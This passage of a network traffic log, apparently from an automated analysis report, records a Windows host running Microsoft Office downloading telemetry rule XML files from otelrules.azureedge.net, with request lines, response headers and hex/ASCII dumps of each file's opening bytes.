2024-11-20 23:03:45 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:45 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:45 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230345Z-178bfbc474bv7whqhC1NYC1fg400000000hg00000000ubch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:45 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:45 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:46 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230346Z-1777c6cb754xjpthhC1TEBexs80000000a1000000000qw09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:46 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:46 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:46 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 4b825c62-901e-008f-3f5c-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230346Z-178bfbc474bh5zbqhC1NYCkdug00000000mg00000000an6n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:46 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:47 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 231cc5cf-201e-0096-37f7-3aace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230347Z-r1d97b99577656nchC1TEBk98c00000009f000000000qum7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:47 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:47 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230347Z-178bfbc474bwh9gmhC1NYCy3rs00000000tg000000002mh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:48 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:47 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:48 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230348Z-1777c6cb754vxwc9hC1TEBykgw0000000a8g00000000bqzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:48 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:48 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230348Z-r1d97b99577tssmjhC1TEB8kan00000009b000000000neur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:49 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230348Z-1777c6cb754g9zd5hC1TEBfvpw0000000aa000000000t1cc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:49 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:49 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:49 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230349Z-1777c6cb754dqf99hC1TEB5nps0000000a4000000000a79r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:49 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:49 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:50 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230350Z-178bfbc474bxkclvhC1NYC69g400000000ng00000000782c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:50 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:50 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:50 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230350Z-178bfbc474bfw4gbhC1NYCunf400000000rg0000000017m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:51 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
